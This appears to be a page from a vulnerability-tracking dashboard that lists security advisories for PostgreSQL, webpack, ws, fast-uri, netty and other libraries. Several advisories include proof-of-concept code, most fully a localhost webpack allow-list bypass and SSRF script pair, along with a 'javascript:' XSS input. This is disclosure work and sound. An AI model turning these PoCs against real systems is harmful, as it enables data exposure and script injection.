Search
Vulnerabilities 701–750 of 785, affecting the active versions
| Score | ID | Status | Published | Affected versions | Description | Notes |
|---|---|---|---|---|---|---|
| 4.4CVSS 3.1 | GHSA-58qx-3vcg-4xpx
CVE-2026-45736 |
False positive | 2026-05-18 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Impact The `websocket.close()` implementation is vulnerable to uninitialized memory disclosure when a `TypedArray` is passed as the reason argument. ### Proof of concept ```js import { deepStrictEqual } from 'node:assert'; import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer( { port: 0, skipUTF8Validation: true }, function () { const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`, { skipUTF8Validation: true }); ws.on('close', function (code, reason) { deepStrictEqual(reason, Buffer.alloc(80)); }); } ); wss.on('connection', function (ws) { ws.close(1000, new Float32Array(20)); }); ``` ### Patches The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086). ### Credits Credit for the private and responsible disclosure of this issue goes to [Nikita Skovoroda](https://github.com/ChALkeR). ### Remarks Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice. ### Resources - https://github.com/advisories/GHSA-58qx-3vcg-4xpx - https://www.cve.org/CVERecord?id=CVE-2026-45736 | |
| 4.3CVSS 3.1 | CVE-2024-47554
GHSA-78wr-2p64-hpwj |
Resolved | 2024-10-03 | 5.5 ×85.4 ×14 | Uncontrolled Resource Consumption vulnerability in Apache Commons IO. The org.apache.commons.io.input.XmlStreamReader class may excessively consume CPU resources when processing maliciously crafted input. This issue affects Apache Commons IO: from 2.0 before 2.14.0. Users are recommended to upgrade to version 2.14.0 or later, which fixes the issue. | |
| 4.3CVSS 3.1 | CVE-2024-55565
GHSA-mwcw-c2x4-8c55 |
False positive | 2024-12-09 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | nanoid (aka Nano ID) before 5.0.9 mishandles non-integer values. 3.3.8 is also a fixed version. | |
| 4.3CVSS 3.1 | CVE-2025-58457
GHSA-2hmj-97jw-28jh |
Resolved | 2025-09-24 | 5.7 ×55.6 ×95.5 ×205.4 ×14 | Improper permission check in ZooKeeper AdminServer lets authorized clients to run snapshot and restore command with insufficient permissions. This issue affects Apache ZooKeeper: from 3.9.0 before 3.9.4. Users are recommended to upgrade to version 3.9.4, which fixes the issue. The issue can be mitigated by disabling both commands (via admin.snapshot.enabled and admin.restore.enabled), disabling the whole AdminServer interface (via admin.enableServer), or ensuring that the root ACL does not provide open permissions. (Note that ZooKeeper ACLs are not recursive, so this does not impact operations on child nodes besides notifications from recursive watches.) | |
| 4.3CVSS 3.1 | CVE-2026-10601
|
Resolved | 2026-06-22 | 5.4 ×14 | A user with Viewer permissions can use specially crafted requests to the Tempo and Loki data source plugins to reach unintended backend endpoints. Depending on the backend configuration this can expose data source credentials, leak internal responses, or trigger administrative actions on the configured backend. | |
| 4.3CVSS 3.1 | CVE-2026-14678
|
Resolved | 2026-08-13 | 5.7 ×35.6 ×65.5 ×205.4 ×14 | Buffer over-read in PostgreSQL pg_trgm index picksplit function reads past end of a heap buffer. This might allow a table maintainer to infer limited memory values, via the lossy signal of index split choices. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected. | |
| 4.3CVSS 3.1 | CVE-2026-18024
|
Resolved | 2026-08-13 | 5.7 ×35.6 ×65.5 ×205.4 ×14 | Buffer over-read in PostgreSQL ascii() SQL function allows a user to disclose up to 3 bytes after the end of a specific allocation, via a crafted text value. This is the same class of defect that CVE-2026-2006 fixed, though this instance has less impact. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected. | |
| 4.3CVSS 3.1 | CVE-2026-2003
|
Resolved | 2026-02-12 | 5.5 ×45.4 ×9 | Improper validation of type "oidvector" in PostgreSQL allows a database user to disclose a few bytes of server memory. We have not ruled out viability of attacks that arrange for presence of confidential information in disclosed bytes, but they seem unlikely. Versions before PostgreSQL 18.2, 17.8, 16.12, 15.16, and 14.21 are affected. | |
| 4.3CVSS 3.1 | CVE-2026-28374
|
Resolved | 2026-05-13 | 5.6 ×95.5 ×205.4 ×14 | Editors could delete any annotation, even those they do not have read access to. The editor user cannot create or read the annotations. | |
| 4.3CVSS 3.1 | CVE-2026-6470
|
Resolved | 2026-08-13 | 5.7 ×35.6 ×65.5 ×205.4 ×14 | Missing authorization in PostgreSQL DDL commands allows an object creator to achieve denial of service against ALTER and DROP of the type, via creating a dependency on the type. Many DDL operations did check the privilege, but assigning a range subtype and referencing the type from an SQL expression did not. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected. | |
| 4.3CVSS 3.1 | CVE-2026-6474
|
Resolved | 2026-05-14 | 5.5 ×125.4 ×12 | Externally-controlled format string in PostgreSQL timeofday() function allows an attacker to retrieve portions of server memory, via crafted timezone zones. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected. | |
| 4.3CVSS 3.1 | CVE-2026-9595
GHSA-mx8g-39q3-5c79 |
False positive | 2026-06-15 | 5.6 ×95.5 ×205.4 ×14 | Impact: When a user-configured proxy on webpack-dev-server has a broad context (e.g. /) and ws: true, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and Origin header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket). Patches: Fixed in webpack-dev-server@5.2.5. Workarounds: Scope user-defined proxy context to specific paths instead of /, or omit ws: true from the proxy entry when WebSocket forwarding is not required. | |
| 4.3CVSS 3.1 | GHSA-2hmj-97jw-28jh
CVE-2025-58457 |
Resolved | 2025-09-24 | 5.7 ×55.6 ×95.5 ×205.4 ×14 | Improper permission checks in the AdminServer allow an authenticated client with insufficient privileges to invoke the `snapshot` and `restore` commands. The intended requirement is authentication and authorization on the root path (`/`) with **ALL** permission for these operations; however, affected versions permit invocation without that level of authorization. The primary risk is disclosure of cluster state via snapshots to a lesser-privileged client. * **Affected:** `org.apache.zookeeper:zookeeper` 3.9.0 through 3.9.3. * **Fixed:** 3.9.4 (ZOOKEEPER-4964 “check permissions individually during admin server auth”). * **Mitigations:** * Disable both commands (`admin.snapshot.enabled`, `admin.restore.enabled`). * Disable AdminServer (`admin.enableServer`). * Ensure the root ACL is not open; note that ZooKeeper ACLs are not recursive. * Upgrade to 3.9.4. | |
| 4.3CVSS 3.1 | GHSA-mwcw-c2x4-8c55
CVE-2024-55565 |
False positive | 2024-12-09 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | When nanoid is called with a fractional value, there were a number of undesirable effects: 1. in browser and non-secure, the code infinite loops on while (size--) 2. in node, the value of poolOffset becomes fractional, causing calls to nanoid to return zeroes until the pool is next filled 3. if the first call in node is a fractional argument, the initial buffer allocation fails with an error Version 3.3.8 and 5.0.9 are fixed. | |
| 4.2CVSS 3.1 | CVE-2026-14666
|
Resolved | 2026-08-13 | 5.7 ×35.6 ×65.5 ×205.4 ×14 | Incomplete tracking in PostgreSQL of changes to role membership, role attributes, and database ownership allows a query to continue using cached row-level security policies after those changes require a different policy, via plan reuse. Stale policies continue until some other event invalidates the cache or connection termination ends the session. This permits a user to complete reads and modifications that were recently permitted but now forbidden. An attacker must tailor an attack to a particular application's pattern of privilege removal and role-specific row security policies. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected. | |
| 4.2CVSS 3.1 | CVE-2026-14681
|
Resolved | 2026-08-13 | 5.7 ×35.6 ×65.5 ×205.4 ×14 | Improper enforcement of message integrity in PostgreSQL GSSAPI support allows a user to negotiate GSSAPI contrary to pg_hba.conf rules, via initial direct TLS connection. Despite a pg_hba.conf that appears to require GSSAPI, the connection may exchange data over TLS encryption alone. If the TLS settings are more permissive than the GSS settings, the connection may continue with lesser protection. Within major versions 17-18, minor versions before PostgreSQL 18.6 and 17.11 are affected. Versions before PostgreSQL 17 are unaffected. | |
| 4.2CVSS 3.1 | GHSA-g3ch-rx76-35fx
CVE-2024-6783 |
Not affected | 2024-07-23 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | A vulnerability has been discovered in vue-template-compiler, that allows an attacker to perform XSS via prototype pollution. The attacker could change the prototype chain of some properties such as `Object.prototype.staticClass` or `Object.prototype.staticStyle` to execute arbitrary JavaScript code. Vue 2 has reached End-of-Life. This vulnerability has been patched in Vue 3. | |
| 4.0CVSS 3.1 | CVE-2024-33883
GHSA-ghr5-ch3p-vcr6 |
Not affected | 2024-04-28 | 5.6 ×95.5 ×205.4 ×14 | The ejs (aka Embedded JavaScript templates) package before 3.1.10 for Node.js lacks certain pollution protection. | |
| 4.0CVSS 3.1 | CVE-2026-45536
GHSA-w573-9ffj-6ff9 |
Resolved | 2026-06-12 | 5.7 ×35.6 ×25.5 ×205.4 ×14 | Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, netty_unix_socket_recvFd sets msg_control to `char control[CMSG_SPACE(sizeof(int))]` (line 940) — 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check `cmsg->cmsg_len == CMSG_LEN(sizeof(int))` (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking → EAGAIN → Java maps to 0 → read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default). Versions 4.1.135.Final and 4.2.15.Final patch the issue. | |
| 4.0CVSS 3.1 | CVE-2026-55688
GHSA-m452-q8c9-rg2f |
Resolved | 2026-07-01 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. In versions from 2.0.0 prior to 2.16.0 and from 3.0.0.Beta1 prior to 3.0.11, ThreadSafeCookieStore stored a cookie under the value of its Domain attribute without verifying that the responding host is allowed to set a cookie for that domain, leading to a cookie tossing / cookie injection issue. A host the client connects to can therefore plant a cookie scoped to an unrelated domain, and the client will then send that cookie on later requests to that domain. Applications that use a single AsyncHttpClient instance - and thus the default, shared CookieStore - to reach both an attacker-influenced host and a trusted host are impacted. This issue has been fixed in versions 2.16.0 and 3.0.11. | |
| 4.0CVSS 3.1 | GHSA-4www-5p9h-95mh
CVE-2025-32996 |
False positive | 2025-04-15 | 5.6 ×95.5 ×205.4 ×14 | In http-proxy-middleware before 2.0.8 and 3.x before 3.0.4, writeBody can be called twice because "else if" is not used. | |
| 4.0CVSS 3.1 | GHSA-9gqv-wp59-fq42
CVE-2025-32997 |
False positive | 2025-04-15 | 5.6 ×95.5 ×205.4 ×14 | In http-proxy-middleware before 2.0.9 and 3.x before 3.0.5, fixRequestBody proceeds even if bodyParser has failed. | |
| 4.0CVSS 3.1 | GHSA-m452-q8c9-rg2f
CVE-2026-55688 |
Resolved | 2026-08-26 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | ### Impact A **cookie tossing / cookie injection** issue (CWE-1275). `ThreadSafeCookieStore` stored a cookie under the value of its `Domain` attribute without verifying that the responding host is allowed to set a cookie for that domain (RFC 6265 §5.3 step 6). A host the client connects to can therefore plant a cookie scoped to an unrelated domain, and the client will then send that cookie on later requests to that domain. ### Who is Impacted Applications that use a single `AsyncHttpClient` instance - and thus the default, shared `CookieStore` - to reach **both** an attacker-influenced host and a trusted host. Typical exposure: crawlers, link-preview / webhook fetchers, SSRF-style "fetch this URL" features, multi-backend aggregators, or following redirects to an attacker-controlled host. The attacker can *write* a cookie the client presents to the victim host (session fixation, overwriting a session id / CSRF-token cookie); they cannot *read* the victim host's cookies. Applications that talk only to a fixed trusted backend, or that disable/scope the cookie store, are not exposed. ### Patches Fixed in 3.0.11 and 2.16.0 ### Workarounds - Disable the cookie store (setCookieStore(null)) when cookies are not needed; or - Use a separate AsyncHttpClient (separate cookie store) per trust domain so an attacker-influenced host and a trusted host never share a jar - Supply a custom CookieStore whose add(Uri, Cookie) rejects cookies whose Domain is not domain-matched by the request host. | |
| 4.0CVSS 3.1 | GHSA-w573-9ffj-6ff9
CVE-2026-45536 |
Resolved | 2026-06-08 | 5.7 ×35.6 ×25.5 ×205.4 ×14 | netty_unix_socket_recvFd sets msg_control to `char control[CMSG_SPACE(sizeof(int))]` (line 940) — 24 bytes on 64-bit Linux. A peer-sent SCM_RIGHTS cmsg carrying two ints has cmsg_len = CMSG_LEN(8) = 24, which fits exactly with no MSG_CTRUNC, so the kernel installs both fds in the receiving process. The subsequent check `cmsg->cmsg_len == CMSG_LEN(sizeof(int))` (line 972, expected 20) fails, the branch that would read the fd is skipped, and neither installed fd is closed. The for(;;) loop calls recvmsg again (non-blocking → EAGAIN → Java maps to 0 → read loop exits normally), leaving two leaked fds per message. There is no MSG_CTRUNC handling. Reachable via Epoll/KQueue DomainSocketChannel when the application opts into DomainSocketReadMode.FILE_DESCRIPTORS (non-default). | |
| 3.8CVSS 3.1 | CVE-2026-14673
|
Resolved | 2026-08-13 | 5.7 ×35.6 ×6 | Untrusted search path in PostgreSQL amcheck allows a grantee of amcheck function EXECUTE privilege to execute arbitrary functions as the owners of expression indexes that depend on the search path, via setting a hostile search path before calling the amcheck function. Within major versions 18, 16, 15, and 14, minor versions before PostgreSQL 18.6, 16.15, 15.19, and 14.24 are affected. PostgreSQL 17 is unaffected. | |
| 3.8CVSS 3.1 | CVE-2026-16241
|
Resolved | 2026-08-13 | 5.7 ×35.6 ×65.5 ×205.4 ×14 | Integer underflow in PostgreSQL ECPG allows a database server administrator to achieve temporary denial of service against the ECPG client via sending a bytea value lacking the mandatory prefix. The client overwrites a huge memory region with bytes outside attacker knowledge or control. This typically yields a simple SIGSEGV, but rare cases might achieve client-specific integrity impact via the write. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected. | |
| 3.8CVSS 3.1 | CVE-2026-6469
|
Resolved | 2026-08-13 | 5.7 ×35.6 ×65.5 ×205.4 ×14 | Incorrect ownership assignment in PostgreSQL ALTER TABLE ALTER TYPE command reassigns ownership of dependent statistics objects to the current user. This wrongly allows the table owner to run DROP STATISTICS and ALTER STATISTICS via this improper ownership. It wrongly denies those commands to the prior statistics object owner. DROP TABLE remains able to remove statistics objects, so this exploit achieves nothing in many ownership arrangements. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected. | |
| 3.7CVSS 3.1 | CVE-2025-68157
GHSA-38r7-794h-5758 |
False positive | 2026-02-05 | 5.6 ×95.5 ×205.4 ×14 | Webpack is a module bundler. From version 5.49.0 to before 5.104.0, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) enforces allowedUris only for the initial URL, but does not re-validate allowedUris after following HTTP 30x redirects. As a result, an import that appears restricted to a trusted allow-list can be redirected to HTTP(S) URLs outside the allow-list. This is a policy/allow-list bypass that enables build-time SSRF behavior (requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion in build outputs (redirected content is treated as module source and bundled). This issue has been patched in version 5.104.0. | |
| 3.7CVSS 3.1 | CVE-2025-68458
GHSA-8fgc-7cc6-rx7x |
False positive | 2026-02-05 | 5.6 ×95.5 ×205.4 ×14 | Webpack is a module bundler. From version 5.49.0 to before 5.104.1, when experiments.buildHttp is enabled, webpack’s HTTP(S) resolver (HttpUriPlugin) can be bypassed to fetch resources from hosts outside allowedUris by using crafted URLs that include userinfo (username:password@host). If allowedUris enforcement relies on a raw string prefix check (e.g., uri.startsWith(allowed)), a URL that looks allow-listed can pass validation while the actual network request is sent to a different authority/host after URL parsing. This is a policy/allow-list bypass that enables build-time SSRF behavior (outbound requests from the build machine to internal-only endpoints, depending on network access) and untrusted content inclusion (the fetched response is treated as module source and bundled). This issue has been patched in version 5.104.1. | |
| 3.7CVSS 3.1 | CVE-2026-106449
GHSA-343h-94h5-c4wr |
In triage | 2026-10-06 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | yawkat LZ4 Java provides LZ4 compression for Java. Prior to 1.11.4, net.jpountz.lz4.LZ4BlockInputStream configured with stopOnEmptyBlock set to false handles each well-formed empty LZ4Block by recursively calling refill(), allowing a long sequence of empty blocks in an attacker-controlled compressed stream to exhaust the decoding thread's stack and throw StackOverflowError. The default stopOnEmptyBlock setting is true and is not affected, and the issue does not cause memory corruption. This issue is fixed in version 1.11.4. | |
| 3.7CVSS 3.1 | CVE-2026-107283
GHSA-mfj3-87qq-382v |
Resolved | 2026-10-07 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.12 and 2.16.1, Realm.Builder generates the HTTP Digest client nonce with ThreadLocalRandom rather than a cryptographically secure random source. Digest relies on an unpredictable cnonce to resist chosen-plaintext and credential precomputation attacks, so an observer able to infer generator state can reduce the protection of the authentication exchange. This issue is fixed in versions 3.0.12 and 2.16.1. | |
| 3.7CVSS 3.1 | CVE-2026-110095
|
In triage | 2026-10-20 | 5.6 ×95.5 ×205.4 ×14 | fast-uri is a dependency-free RFC 3986 URI parser and serializer for Node.js. In versions before 2.4.8, from 3.0.0 through 3.1.8, and from 4.0.0 through 4.2.2, the normalize() and serialize() functions apply RFC 3986 dot-segment removal to the path of a relative-path reference, even though that algorithm is defined only for the merged target path during resolution, so a leading parent-directory segment can be dropped and a document-relative reference can become root-relative. An application that normalizes an attacker-supplied or user-supplied relative reference and then resolves it, or uses it as a cache, deduplication, or authorization key, can have the reference escape its intended directory and point at a different resource. The issue is fixed in fast-uri 2.4.8, 3.1.9, and 4.2.3, and users should upgrade to one of these versions or later. As a workaround, resolve a relative reference against its absolute base first and normalize the absolute result instead of normalizing the reference beforehand. | |
| 3.7CVSS 3.1 | CVE-2026-110725
|
In triage | 2026-10-20 | 5.6 ×95.5 ×205.4 ×14 | fast-uri is a dependency-free RFC 3986 URI parser and serializer for Node.js. In versions before 2.4.8, from 3.0.0 through 3.1.8, and from 4.0.0 through 4.2.2, when serialize(), normalize(), or resolve() are called with the non-default option reference set to suffix on a reference that has no authority, the emitted relative reference can contain a bare colon in its first path segment without escaping it, even though RFC 3986 forbids that because it makes the string reparse as an absolute URI with a scheme. An application that serializes or normalizes a relative reference with the suffix option and then treats the result as a URI can turn inert input into a live javascript, data, or vbscript URL, a cross-site scripting vector, and the equal() comparison can conflate a scheme-bearing reference with a relative one. Exposure is limited to applications using the non-default suffix reference option. The issue is fixed in fast-uri 2.4.8, 3.1.9, and 4.2.3, and users should upgrade to one of these versions or later. As a workaround, avoid the suffix reference option on untrusted input, or percent-encode a colon in the first path segment of the result before treating it as a URI. | |
| 3.7CVSS 3.1 | CVE-2026-86071
GHSA-89m4-43j5-vhhx |
Resolved | 2026-09-16 | 5.7 ×35.6 ×95.5 ×205.4 ×14 | Junrar is an open source Java RAR archive library. Prior to version 7.6.1, LocalFolderExtractor in src/main/java/com/github/junrar/LocalFolderExtractor.java can create directories outside the intended extraction root when processing a crafted archive entry. LocalFolderExtractor.createFile() validates only the final canonical file path, while LocalFolderExtractor.makeFile() creates intermediate path segments with unchecked mkdir() calls. An entry can therefore make the final path resolve inside the destination while causing intermediate directory creation outside it, enabling filesystem pollution or file-versus-directory squatting that can make later security-sensitive writes fail. The demonstrated impact is directory creation, not unconditional arbitrary file-content write. This issue is fixed in version 7.6.1. | |
| 3.7CVSS 3.1 | GHSA-333x-w4r6-6crp | Resolved | 2026-10-23 | 5.6 ×95.5 ×205.4 ×14 | ### Impact `fast-uri`'s `serialize()`, `normalize()`, and `resolve()`, when called with the non-default option `reference: 'suffix'` on a reference that has no authority, emit a relative reference whose first path segment contains a bare colon without escaping it. RFC 3986 section 3.3 requires the first segment of a `path-noscheme` reference not to contain a colon, precisely because a bare colon makes the string reparse as an absolute URI with a scheme. `fast-uri`'s default serialization escapes that colon, but the suffix path does not. For example, `normalize('javascript:alert(1)', { reference: 'suffix' })` returns `javascript:alert(1)`, which reparses as a live `javascript:` scheme; `data:` and `vbscript:` behave the same. Applications that serialize or normalize a relative reference with `reference: 'suffix'` and then treat the result as a URI can turn inert input into a live `javascript:`, `data:`, or `vbscript:` URL (a cross-site scripting vector), and `equal()` can conflate a scheme-bearing reference with a relative one. Exposure is limited to applications that use the non-default `reference: 'suffix'` option. ### Patches Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`. ### Workarounds Do not use the `reference: 'suffix'` option on untrusted input. If suffix output is required, percent-encode a colon in the first path segment of the result before treating it as a URI. | |
| 3.7CVSS 3.1 | GHSA-343h-94h5-c4wr
CVE-2026-106449 |
In triage | 2026-10-07 | 5.7 ×75.6 ×95.5 ×205.4 ×14 | ### Summary When `LZ4BlockInputStream` is configured with `stopOnEmptyBlock = false` (the mode for reading concatenated block streams), it handles each empty block by calling `refill()` recursively. A long run of empty blocks exhausts the thread stack and throws `StackOverflowError` out of `read()` or `skip()`. ### Details In `net.jpountz.lz4.LZ4BlockInputStream.refill()`: ```java if (originalLen == 0 && compressedLen == 0) { if (check != 0) { throw new IOException("Stream is corrupted"); } if (!stopOnEmptyBlock) { refill(); } else { finished = true; } return; } ``` Each well-formed empty block is 21 bytes and adds one stack frame, with no limit on nesting depth. In local testing, around 10,000 to 100,000 consecutive empty blocks (about 210 KB to 2.1 MB, depending on JIT state and thread stack size) threw `StackOverflowError`. `StackOverflowError` is an `Error`, not an `IOException`, so callers that only handle I/O errors for corrupt input don't catch it. ### Impact Applications that decode attacker-controlled `LZ4Block` streams with `LZ4BlockInputStream.newBuilder().withStopOnEmptyBlock(false)` or the deprecated `LZ4BlockInputStream(InputStream, boolean)` constructor can have the decoding thread fail with `StackOverflowError`. The default configuration (`stopOnEmptyBlock = true`) is not affected. There is no memory corruption. Availability impact only. ### Patch Fixed in lz4-java 1.11.4. Empty blocks are now skipped in a loop instead of by recursion, so any number of consecutive empty blocks uses constant stack space. For older versions, the workaround is to use the default `stopOnEmptyBlock = true` for untrusted input, or catch `StackOverflowError` around the read loop. | |
| 3.7CVSS 3.1 | GHSA-38r7-794h-5758
CVE-2025-68157 |
False positive | 2026-02-05 | 5.6 ×95.5 ×205.4 ×14 | ### Summary When `experiments.buildHttp` is enabled, webpack’s HTTP(S) resolver (`HttpUriPlugin`) enforces `allowedUris` only for the **initial** URL, but **does not re-validate `allowedUris` after following HTTP 30x redirects**. As a result, an import that appears restricted to a trusted allow-list can be redirected to **HTTP(S) URLs outside the allow-list**. This is a **policy/allow-list bypass** that enables **build-time SSRF behavior** (requests from the build machine to internal-only endpoints, depending on network access) and **untrusted content inclusion in build outputs** (redirected content is treated as module source and bundled). In my reproduction, the internal response is also persisted in the buildHttp cache. ### Details In the HTTP scheme resolver, the allow-list check (`allowedUris`) is performed when metadata/info is created for the original request (via `getInfo()`), but the content-fetch path follows redirects by resolving the `Location` URL without re-checking whether the redirected URL is within `allowedUris`. Practical consequence: if an “allowed” host/path can return a 302 (or has an open redirect), it can point to an external URL or an internal-only URL (SSRF). The redirected response is consumed as module content, bundled, and can be cached. If the redirect target is attacker-controlled, this can potentially result in attacker-controlled JavaScript being bundled and later executed when the resulting bundle runs. **Figure 1 (evidence screenshot):** left pane shows the allowed host issuing a 302 redirect to `http://127.0.0.1:9100/secret.js`; right pane shows the build output confirming allow-list bypass and that the secret appears in the bundle and buildHttp cache. <img width="1648" height="461" alt="image" src="https://github.com/user-attachments/assets/bb25f3ff-1919-49f9-951b-ad50bf0c7524" /> ### PoC This PoC is intentionally constrained to **127.0.0.1** (localhost-only “internal service”) to demonstrate SSRF behavior safely. #### 1) Setup ```bash mkdir split-ssrf-poc && cd split-ssrf-poc npm init -y npm i -D webpack webpack-cli ``` #### 2) Create server.js ```js #!/usr/bin/env node "use strict"; const http = require("http"); const url = require("url"); const allowedPort = 9000; const internalPort = 9100; const internalUrlDefault = `http://127.0.0.1:${internalPort}/secret.js`; const secret = `INTERNAL_ONLY_SECRET_${Math.random().toString(16).slice(2)}`; const internalPayload = `export const secret = ${JSON.stringify(secret)};\n` + `export default "ok";\n`; function start(port, handler) { return new Promise(resolve => { const s = http.createServer(handler); s.listen(port, "127.0.0.1", () => resolve(s)); }); } (async () => { // Internal-only service (SSRF target) await start(internalPort, (req, res) => { if (req.url === "/secret.js") { res.statusCode = 200; res.setHeader("Content-Type", "application/javascript; charset=utf-8"); res.end(internalPayload); console.log(`[internal] 200 /secret.js served (secret=${secret})`); return; } res.statusCode = 404; res.end("not found"); }); // Allowed host (redirector) await start(allowedPort, (req, res) => { const parsed = url.parse(req.url, true); if (parsed.pathname === "/redirect.js") { const to = parsed.query.to || internalUrlDefault; // Safety guard: only allow redirecting to localhost internal service in this PoC if (!to.startsWith(`http://127.0.0.1:${internalPort}/`)) { res.statusCode = 400; res.end("to must be internal-only in this PoC"); console.log(`[allowed] blocked redirect to: ${to}`); return; } res.statusCode = 302; res.setHeader("Location", to); res.end("redirecting"); console.log(`[allowed] 302 /redirect.js -> ${to}`); return; } res.statusCode = 404; res.end("not found"); }); console.log(`\nServer running:`); console.log(`- allowed host: http://127.0.0.1:${allowedPort}/redirect.js`); console.log(`- internal-only: http://127.0.0.1:${internalPort}/secret.js`); })(); ``` #### 3) Create attacker.js ```js #!/usr/bin/env node "use strict"; const path = require("path"); const os = require("os"); const fs = require("fs/promises"); const webpack = require("webpack"); const webpackPkg = require("webpack/package.json"); const allowedPort = 9000; const internalPort = 9100; const allowedBase = `http://127.0.0.1:${allowedPort}/`; const internalTarget = `http://127.0.0.1:${internalPort}/secret.js`; const entryUrl = `${allowedBase}redirect.js?to=${encodeURIComponent(internalTarget)}`; async function walk(dir) { const out = []; const items = await fs.readdir(dir, { withFileTypes: true }); for (const it of items) { const p = path.join(dir, it.name); if (it.isDirectory()) out.push(...await walk(p)); else if (it.isFile()) out.push(p); } return out; } async function fileContains(f, needle) { try { const buf = await fs.readFile(f); return buf.toString("utf8").includes(needle) || buf.toString("latin1").includes(needle); } catch { return false; } } async function findInFiles(files, needle) { const hits = []; for (const f of files) if (await fileContains(f, needle)) hits.push(f); return hits; } const fmtBool = b => (b ? "✅" : "❌"); (async () => { const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "webpack-attacker-")); const srcDir = path.join(tmp, "src"); const distDir = path.join(tmp, "dist"); const cacheDir = path.join(tmp, ".buildHttp-cache"); const lockfile = path.join(tmp, "webpack.lock"); const bundlePath = path.join(distDir, "bundle.js"); await fs.mkdir(srcDir, { recursive: true }); await fs.mkdir(distDir, { recursive: true }); await fs.writeFile( path.join(srcDir, "index.js"), `import { secret } from ${JSON.stringify(entryUrl)}; console.log("LEAKED_SECRET:", secret); export default secret; ` ); const config = { context: tmp, mode: "development", entry: "./src/index.js", output: { path: distDir, filename: "bundle.js" }, experiments: { buildHttp: { allowedUris: [allowedBase], cacheLocation: cacheDir, lockfileLocation: lockfile, upgrade: true } } }; const compiler = webpack(config); compiler.run(async (err, stats) => { try { if (err) throw err; const info = stats.toJson({ all: false, errors: true, warnings: true }); if (stats.hasErrors()) { console.error(info.errors); process.exitCode = 1; return; } const bundle = await fs.readFile(bundlePath, "utf8"); const m = bundle.match(/INTERNAL_ONLY_SECRET_[0-9a-f]+/i); const secret = m ? m[0] : null; console.log("\n[ATTACKER RESULT]"); console.log(`- webpack version: ${webpackPkg.version}`); console.log(`- node version: ${process.version}`); console.log(`- allowedUris: ${JSON.stringify([allowedBase])}`); console.log(`- imported URL (allowed only): ${entryUrl}`); console.log(`- temp dir: ${tmp}`); console.log(`- lockfile: ${lockfile}`); console.log(`- cacheDir: ${cacheDir}`); console.log(`- bundle: ${bundlePath}`); if (!secret) { console.log("\n[SECURITY SUMMARY]"); console.log(`- bundle contains internal secret marker: ${fmtBool(false)}`); return; } const lockHit = await fileContains(lockfile, secret); let cacheFiles = []; try { cacheFiles = await walk(cacheDir); } catch { cacheFiles = []; } const cacheHit = cacheFiles.length ? (await findInFiles(cacheFiles, secret)).length > 0 : false; const allTmpFiles = await walk(tmp); const allHits = await findInFiles(allTmpFiles, secret); console.log(`\n- extracted secret marker from bundle: ${secret}`); console.log("\n[SECURITY SUMMARY]"); console.log(`- Redirect allow-list bypass: ${fmtBool(true)} (imported allowed URL, but internal target was fetched)`); console.log(`- Internal target (SSRF-like): ${internalTarget}`); console.log(`- EXPECTED: internal target should be BLOCKED by allowedUris`); console.log(`- ACTUAL: internal content treated as module and bundled`); console.log("\n[EVIDENCE CHECKLIST]"); console.log(`- bundle contains secret: ${fmtBool(true)}`); console.log(`- cache contains secret: ${fmtBool(cacheHit)}`); console.log(`- lockfile contains secret: ${fmtBool(lockHit)}`); console.log("\n[PERSISTENCE CHECK] files containing secret"); for (const f of allHits.slice(0, 30)) console.log(`- ${f}`); if (allHits.length > 30) console.log(`- ... and ${allHits.length - 30} more`); } catch (e) { console.error(e); process.exitCode = 1; } finally { compiler.close(() => {}); } }); })(); ``` #### 4) Run Terminal A: ```bash node server.js ``` Terminal B: ```bash node attacker.js ``` #### 5) Expected Expected: Redirect target should be rejected if not in allowedUris (only http://127.0.0.1:9000/ is allowed). ### Impact Vulnerability class: Policy/allow-list bypass leading to SSRF behavior at build time and untrusted content inclusion in build outputs (and potentially bundling of attacker-controlled JavaScript if the redirect target is attacker-controlled). Who is impacted: Projects that enable experiments.buildHttp and rely on allowedUris as a security boundary (to restrict remote module fetching). In such environments, an attacker who can influence imported URLs (e.g., via source contribution, dependency manipulation, or configuration) and can cause an allowed endpoint to redirect can: trigger network requests from the build machine to internal-only services 